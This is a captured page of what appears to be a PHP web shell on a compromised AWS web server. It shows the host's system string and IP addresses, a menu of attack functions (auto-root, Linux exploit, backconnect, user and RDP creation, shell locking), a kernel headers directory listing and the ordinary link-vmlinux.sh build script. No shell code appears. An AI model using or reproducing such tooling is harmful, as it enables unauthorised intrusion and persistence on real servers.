Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.137.219.221
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-4.15.0-1021-aws /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
basic
[ DIR ]
drwxr-xr-x
coccinelle
[ DIR ]
drwxr-xr-x
dtc
[ DIR ]
drwxr-xr-x
gcc-plugins
[ DIR ]
drwxr-xr-x
gdb
[ DIR ]
drwxr-xr-x
genksyms
[ DIR ]
drwxr-xr-x
kconfig
[ DIR ]
drwxr-xr-x
ksymoops
[ DIR ]
drwxr-xr-x
mod
[ DIR ]
drwxr-xr-x
package
[ DIR ]
drwxr-xr-x
selinux
[ DIR ]
drwxr-xr-x
tracing
[ DIR ]
drwxr-xr-x
.asn1_compiler.cmd
4.48
KB
-rw-r--r--
.conmakehash.cmd
3.48
KB
-rw-r--r--
.extract-cert.cmd
5.75
KB
-rw-r--r--
.insert-sys-cert.cmd
5.3
KB
-rw-r--r--
.kallsyms.cmd
3.75
KB
-rw-r--r--
.recordmcount.cmd
4.72
KB
-rw-r--r--
.sign-file.cmd
6.61
KB
-rw-r--r--
.sortextable.cmd
4.92
KB
-rw-r--r--
Kbuild.include
18.32
KB
-rw-r--r--
Lindent
502
B
-rwxr-xr-x
Makefile
1.6
KB
-rw-r--r--
Makefile.asm-generic
1.17
KB
-rw-r--r--
Makefile.build
20.56
KB
-rw-r--r--
Makefile.clean
2.96
KB
-rw-r--r--
Makefile.dtbinst
1.09
KB
-rw-r--r--
Makefile.extrawarn
2.59
KB
-rw-r--r--
Makefile.gcc-plugins
3.58
KB
-rw-r--r--
Makefile.headersinst
3.98
KB
-rw-r--r--
Makefile.host
6.23
KB
-rw-r--r--
Makefile.kasan
1.09
KB
-rw-r--r--
Makefile.kcov
201
B
-rw-r--r--
Makefile.lib
15.25
KB
-rw-r--r--
Makefile.modbuiltin
1.82
KB
-rw-r--r--
Makefile.modinst
1.52
KB
-rw-r--r--
Makefile.modpost
5.49
KB
-rw-r--r--
Makefile.modsign
1.02
KB
-rw-r--r--
Makefile.ubsan
1.07
KB
-rw-r--r--
adjust_autoksyms.sh
3.09
KB
-rwxr-xr-x
asn1_compiler
30.83
KB
-rwxr-xr-x
asn1_compiler.c
35.54
KB
-rw-r--r--
bloat-o-meter
3.21
KB
-rwxr-xr-x
bootgraph.pl
6.28
KB
-rwxr-xr-x
check_00index.sh
1.3
KB
-rwxr-xr-x
check_extable.sh
4.93
KB
-rwxr-xr-x
checkincludes.pl
1.94
KB
-rwxr-xr-x
checkkconfigsymbols.py
15.51
KB
-rwxr-xr-x
checkpatch.pl
186.79
KB
-rwxr-xr-x
checkstack.pl
5.48
KB
-rwxr-xr-x
checksyscalls.sh
5.68
KB
-rwxr-xr-x
checkversion.pl
1.9
KB
-rwxr-xr-x
cleanfile
3.46
KB
-rwxr-xr-x
cleanpatch
5.06
KB
-rwxr-xr-x
coccicheck
7.23
KB
-rwxr-xr-x
config
4.53
KB
-rwxr-xr-x
conmakehash
12.8
KB
-rwxr-xr-x
conmakehash.c
5.98
KB
-rw-r--r--
const_structs.checkpatch
964
B
-rw-r--r--
decode_stacktrace.sh
3.74
KB
-rwxr-xr-x
decodecode
2.29
KB
-rwxr-xr-x
depmod.sh
1.7
KB
-rwxr-xr-x
diffconfig
3.72
KB
-rwxr-xr-x
documentation-file-ref-check
395
B
-rwxr-xr-x
export_report.pl
4.55
KB
-rwxr-xr-x
extract-cert
13.69
KB
-rwxr-xr-x
extract-cert.c
3.46
KB
-rw-r--r--
extract-ikconfig
1.69
KB
-rwxr-xr-x
extract-module-sig.pl
3.66
KB
-rwxr-xr-x
extract-sys-certs.pl
3.75
KB
-rwxr-xr-x
extract-vmlinux
1.6
KB
-rwxr-xr-x
extract_xc3028.pl
44.6
KB
-rwxr-xr-x
faddr2line
5.53
KB
-rwxr-xr-x
find-unused-docs.sh
1.28
KB
-rwxr-xr-x
gcc-goto.sh
530
B
-rwxr-xr-x
gcc-ld
711
B
-rwxr-xr-x
gcc-plugin.sh
1.06
KB
-rwxr-xr-x
gcc-version.sh
857
B
-rwxr-xr-x
gcc-x86_32-has-stack-protector...
219
B
-rwxr-xr-x
gcc-x86_64-has-stack-protector...
244
B
-rwxr-xr-x
gen_initramfs_list.sh
8.03
KB
-rwxr-xr-x
get_dvb_firmware
25.22
KB
-rwxr-xr-x
get_maintainer.pl
65.03
KB
-rwxr-xr-x
gfp-translate
1.71
KB
-rwxr-xr-x
headerdep.pl
3.5
KB
-rwxr-xr-x
headers.sh
512
B
-rwxr-xr-x
headers_check.pl
3.73
KB
-rwxr-xr-x
headers_install.sh
1.32
KB
-rwxr-xr-x
insert-sys-cert
18.05
KB
-rwxr-xr-x
insert-sys-cert.c
13.08
KB
-rw-r--r--
kallsyms
18.23
KB
-rwxr-xr-x
kallsyms.c
18.71
KB
-rw-r--r--
kernel-doc
92.36
KB
-rwxr-xr-x
kmsg-doc
12.13
KB
-rwxr-xr-x
ld-version.sh
269
B
-rwxr-xr-x
leaking_addresses.pl
9.64
KB
-rwxr-xr-x
link-vmlinux.sh
7.65
KB
-rwxr-xr-x
makelst
808
B
-rwxr-xr-x
markup_oops.pl
8.08
KB
-rwxr-xr-x
mkcompile_h
2.48
KB
-rwxr-xr-x
mkmakefile
1.19
KB
-rwxr-xr-x
mksysmap
1.33
KB
-rwxr-xr-x
mkuboot.sh
414
B
-rwxr-xr-x
module-common.lds
901
B
-rw-r--r--
namespace.pl
13.05
KB
-rwxr-xr-x
objdiff
2.85
KB
-rwxr-xr-x
parse-maintainers.pl
3.72
KB
-rw-r--r--
patch-kernel
9.95
KB
-rwxr-xr-x
pnmtologo.c
11.91
KB
-rw-r--r--
profile2linkerlist.pl
414
B
-rwxr-xr-x
prune-kernel
708
B
-rwxr-xr-x
recordmcount
28.05
KB
-rwxr-xr-x
recordmcount.c
17.2
KB
-rw-r--r--
recordmcount.h
16.38
KB
-rw-r--r--
recordmcount.pl
18
KB
-rwxr-xr-x
setlocalversion
3.92
KB
-rwxr-xr-x
show_delta
2.99
KB
-rwxr-xr-x
sign-file
18.31
KB
-rwxr-xr-x
sign-file.c
9.76
KB
-rw-r--r--
sortextable
17.61
KB
-rwxr-xr-x
sortextable.c
8.35
KB
-rw-r--r--
sortextable.h
5.48
KB
-rw-r--r--
spelling.txt
24.97
KB
-rw-r--r--
sphinx-pre-install
14.04
KB
-rwxr-xr-x
stackdelta
1.84
KB
-rwxr-xr-x
stackusage
794
B
-rwxr-xr-x
tags.sh
9.49
KB
-rwxr-xr-x
ubuntu-retpoline-extract-one
7.25
KB
-rw-r--r--
unifdef.c
34.8
KB
-rw-r--r--
ver_linux
2.94
KB
-rwxr-xr-x
xen-hypercalls.sh
386
B
-rw-r--r--
xz_wrap.sh
562
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : link-vmlinux.sh
#!/bin/sh # SPDX-License-Identifier: GPL-2.0 # # link vmlinux # # vmlinux is linked from the objects selected by $(KBUILD_VMLINUX_INIT) and # $(KBUILD_VMLINUX_MAIN) and $(KBUILD_VMLINUX_LIBS). Most are built-in.o files # from top-level directories in the kernel tree, others are specified in # arch/$(ARCH)/Makefile. Ordering when linking is important, and # $(KBUILD_VMLINUX_INIT) must be first. $(KBUILD_VMLINUX_LIBS) are archives # which are linked conditionally (not within --whole-archive), and do not # require symbol indexes added. # # vmlinux # ^ # | # +-< $(KBUILD_VMLINUX_INIT) # | +--< init/version.o + more # | # +--< $(KBUILD_VMLINUX_MAIN) # | +--< drivers/built-in.o mm/built-in.o + more # | # +--< $(KBUILD_VMLINUX_LIBS) # | +--< lib/lib.a + more # | # +-< ${kallsymso} (see description in KALLSYMS section) # # vmlinux version (uname -v) cannot be updated during normal # descending-into-subdirs phase since we do not yet know if we need to # update vmlinux. # Therefore this step is delayed until just before final link of vmlinux. # # System.map is generated to document addresses of all kernel symbols # Error out on error set -e # Nice output in kbuild format # Will be supressed by "make -s" info() { if [ "${quiet}" != "silent_" ]; then printf " %-7s %s\n" ${1} ${2} fi } # Thin archive build here makes a final archive with symbol table and indexes # from vmlinux objects INIT and MAIN, which can be used as input to linker. # KBUILD_VMLINUX_LIBS archives should already have symbol table and indexes # added. # # Traditional incremental style of link does not require this step # # built-in.o output file # archive_builtin() { if [ -n "${CONFIG_THIN_ARCHIVES}" ]; then info AR built-in.o rm -f built-in.o; ${AR} rcsTP${KBUILD_ARFLAGS} built-in.o \ ${KBUILD_VMLINUX_INIT} \ ${KBUILD_VMLINUX_MAIN} fi } # Link of vmlinux.o used for section mismatch analysis # ${1} output file modpost_link() { local objects if [ -n "${CONFIG_THIN_ARCHIVES}" ]; then objects="--whole-archive \ built-in.o \ --no-whole-archive \ --start-group \ ${KBUILD_VMLINUX_LIBS} \ --end-group" else objects="${KBUILD_VMLINUX_INIT} \ --start-group \ ${KBUILD_VMLINUX_MAIN} \ ${KBUILD_VMLINUX_LIBS} \ --end-group" fi ${LD} ${LDFLAGS} -r -o ${1} ${objects} } # Link of vmlinux # ${1} - optional extra .o files # ${2} - output file vmlinux_link() { local lds="${objtree}/${KBUILD_LDS}" local objects if [ "${SRCARCH}" != "um" ]; then if [ -n "${CONFIG_THIN_ARCHIVES}" ]; then objects="--whole-archive \ built-in.o \ --no-whole-archive \ --start-group \ ${KBUILD_VMLINUX_LIBS} \ --end-group \ ${1}" else objects="${KBUILD_VMLINUX_INIT} \ --start-group \ ${KBUILD_VMLINUX_MAIN} \ ${KBUILD_VMLINUX_LIBS} \ --end-group \ ${1}" fi ${LD} ${LDFLAGS} ${LDFLAGS_vmlinux} -o ${2} \ -T ${lds} ${objects} else if [ -n "${CONFIG_THIN_ARCHIVES}" ]; then objects="-Wl,--whole-archive \ built-in.o \ -Wl,--no-whole-archive \ -Wl,--start-group \ ${KBUILD_VMLINUX_LIBS} \ -Wl,--end-group \ ${1}" else objects="${KBUILD_VMLINUX_INIT} \ -Wl,--start-group \ ${KBUILD_VMLINUX_MAIN} \ ${KBUILD_VMLINUX_LIBS} \ -Wl,--end-group \ ${1}" fi ${CC} ${CFLAGS_vmlinux} -o ${2} \ -Wl,-T,${lds} \ ${objects} \ -lutil -lrt -lpthread rm -f linux fi } # Create ${2} .o file with all symbols from the ${1} object file kallsyms() { info KSYM ${2} local kallsymopt; if [ -n "${CONFIG_HAVE_UNDERSCORE_SYMBOL_PREFIX}" ]; then kallsymopt="${kallsymopt} --symbol-prefix=_" fi if [ -n "${CONFIG_KALLSYMS_ALL}" ]; then kallsymopt="${kallsymopt} --all-symbols" fi if [ -n "${CONFIG_KALLSYMS_ABSOLUTE_PERCPU}" ]; then kallsymopt="${kallsymopt} --absolute-percpu" fi if [ -n "${CONFIG_KALLSYMS_BASE_RELATIVE}" ]; then kallsymopt="${kallsymopt} --base-relative" fi local aflags="${KBUILD_AFLAGS} ${KBUILD_AFLAGS_KERNEL} \ ${NOSTDINC_FLAGS} ${LINUXINCLUDE} ${KBUILD_CPPFLAGS}" local afile="`basename ${2} .o`.S" ${NM} -n ${1} | scripts/kallsyms ${kallsymopt} > ${afile} ${CC} ${aflags} -c -o ${2} ${afile} } # Create map file with all symbols from ${1} # See mksymap for additional details mksysmap() { ${CONFIG_SHELL} "${srctree}/scripts/mksysmap" ${1} ${2} } sortextable() { ${objtree}/scripts/sortextable ${1} } # Delete output files in case of error cleanup() { rm -f .tmp_System.map rm -f .tmp_kallsyms* rm -f .tmp_vmlinux* rm -f built-in.o rm -f System.map rm -f vmlinux rm -f vmlinux.o } on_exit() { if [ $? -ne 0 ]; then cleanup fi } trap on_exit EXIT on_signals() { exit 1 } trap on_signals HUP INT QUIT TERM # # # Use "make V=1" to debug this script case "${KBUILD_VERBOSE}" in *1*) set -x ;; esac if [ "$1" = "clean" ]; then cleanup exit 0 fi # We need access to CONFIG_ symbols case "${KCONFIG_CONFIG}" in */*) . "${KCONFIG_CONFIG}" ;; *) # Force using a file from the current directory . "./${KCONFIG_CONFIG}" esac # Update version info GEN .version if [ -r .version ]; then VERSION=$(expr 0$(cat .version) + 1) echo $VERSION > .version else rm -f .version echo 1 > .version fi; # final build of init/ ${MAKE} -f "${srctree}/scripts/Makefile.build" obj=init GCC_PLUGINS_CFLAGS="${GCC_PLUGINS_CFLAGS}" archive_builtin #link vmlinux.o info LD vmlinux.o modpost_link vmlinux.o # modpost vmlinux.o to check for section mismatches ${MAKE} -f "${srctree}/scripts/Makefile.modpost" vmlinux.o kallsymso="" kallsyms_vmlinux="" if [ -n "${CONFIG_KALLSYMS}" ]; then # kallsyms support # Generate section listing all symbols and add it into vmlinux # It's a three step process: # 1) Link .tmp_vmlinux1 so it has all symbols and sections, # but __kallsyms is empty. # Running kallsyms on that gives us .tmp_kallsyms1.o with # the right size # 2) Link .tmp_vmlinux2 so it now has a __kallsyms section of # the right size, but due to the added section, some # addresses have shifted. # From here, we generate a correct .tmp_kallsyms2.o # 3) That link may have expanded the kernel image enough that # more linker branch stubs / trampolines had to be added, which # introduces new names, which further expands kallsyms. Do another # pass if that is the case. In theory it's possible this results # in even more stubs, but unlikely. # KALLSYMS_EXTRA_PASS=1 may also used to debug or work around # other bugs. # 4) The correct ${kallsymso} is linked into the final vmlinux. # # a) Verify that the System.map from vmlinux matches the map from # ${kallsymso}. kallsymso=.tmp_kallsyms2.o kallsyms_vmlinux=.tmp_vmlinux2 # step 1 vmlinux_link "" .tmp_vmlinux1 kallsyms .tmp_vmlinux1 .tmp_kallsyms1.o # step 2 vmlinux_link .tmp_kallsyms1.o .tmp_vmlinux2 kallsyms .tmp_vmlinux2 .tmp_kallsyms2.o # step 3 size1=$(stat -c "%s" .tmp_kallsyms1.o) size2=$(stat -c "%s" .tmp_kallsyms2.o) if [ $size1 -ne $size2 ] || [ -n "${KALLSYMS_EXTRA_PASS}" ]; then kallsymso=.tmp_kallsyms3.o kallsyms_vmlinux=.tmp_vmlinux3 vmlinux_link .tmp_kallsyms2.o .tmp_vmlinux3 kallsyms .tmp_vmlinux3 .tmp_kallsyms3.o fi fi info LD vmlinux vmlinux_link "${kallsymso}" vmlinux if [ -n "${CONFIG_BUILDTIME_EXTABLE_SORT}" ]; then info SORTEX vmlinux sortextable vmlinux fi info SYSMAP System.map mksysmap vmlinux System.map # step a (see comment above) if [ -n "${CONFIG_KALLSYMS}" ]; then mksysmap ${kallsyms_vmlinux} .tmp_System.map if ! cmp -s System.map .tmp_System.map; then echo >&2 Inconsistent kallsyms data echo >&2 Try "make KALLSYMS_EXTRA_PASS=1" as a workaround exit 1 fi fi
Close